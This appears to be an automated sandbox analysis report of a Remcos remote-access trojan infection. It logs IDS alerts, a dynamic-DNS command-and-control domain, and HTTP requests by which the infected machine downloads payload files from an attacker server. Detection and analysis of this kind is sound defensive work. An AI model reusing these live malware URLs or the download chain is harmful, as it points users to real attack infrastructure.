Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49175 -> 45.134.140.68:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49176 -> 45.134.140.68:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49177 -> 45.134.140.68:50312
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 104.168.32.148:80 -> 192.168.2.22:49174
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 104.168.32.148:80 -> 192.168.2.22:49174

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: ramcxx.duckdns.org

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 45.134.140.68 ports 0,1,2,3,5,50312

Uses dynamic DNS services

Source: unknown

DNS query: name: ramcxx.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.22:49175 -> 45.134.140.68:50312

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/RWEER.txt HTTP/1.1Host: 104.168.32.148Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 185.199.108.133 185.199.108.133

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: INETLTDTR INETLTDTR

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /a9ifFT HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: strmr.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.32.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/nicepicturewithyourebodygreen.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.32.148Connection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.64.88:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00426D42 recv,

16_2_00426D42

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F1361791.emf

Contains functionality to register a low level keyboard hook

Source: global traffic	HTTP traffic detected: GET /a9ifFT HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: strmr.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.32.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/nicepicturewithyourebodygreen.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.32.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /550/RWEER.txt HTTP/1.1Host: 104.168.32.148Connection: Keep-Alive

Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: strmr.co
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ramcxx.duckdns.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 10:51:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecontent-security-policy: default-src 'none'strict-transport-security: max-age=15552000; includeSubDomainsvary: Accept-Encodingx-content-type-options: nosniffx-dns-prefetch-control: offx-download-options: noopenx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yw39Eg2AjedQvQNaFnUkaqi8qNdKfnqcb0snPBg7%2FrmnVXmuuZKzrY8E1QBpyYtZ2hdTfMGl0xnnGAr6wwOmuwhZ1BKa6aKYCJM3e%2B6qIBDzV%2B0%2Bu3PXE2BAEA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9af0a0485543f2-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 10:51:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecontent-security-policy: default-src 'none'strict-transport-security: max-age=15552000; includeSubDomainsvary: Accept-Encodingx-content-type-options: nosniffx-dns-prefetch-control: offx-download-options: noopenx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1uOQy5OWhwgAEDA6b%2B9DSXraCaEiJEQSggwDrBIvFBooBZvd8XlHkEQVagDaYxLSdTVeyiJOF8F3AaQS%2F5Fbu7XhkizjwyA6ucFyjZ3NohOo5rKM%2FIMPrMeqdQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9af0a5d895c332-EWR

Source: powershell.exe, 0000000E.00000002.473571085.00000000025FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148
Source: powershell.exe, 0000000E.00000002.473571085.00000000025FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/550/RWEER.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/550/nicepicturewithyourebodygreen.tIF
Source: EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFFtnp
Source: EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFVtnp
Source: EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFj
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: RegAsm.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 0000000E.00000002.473571085.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
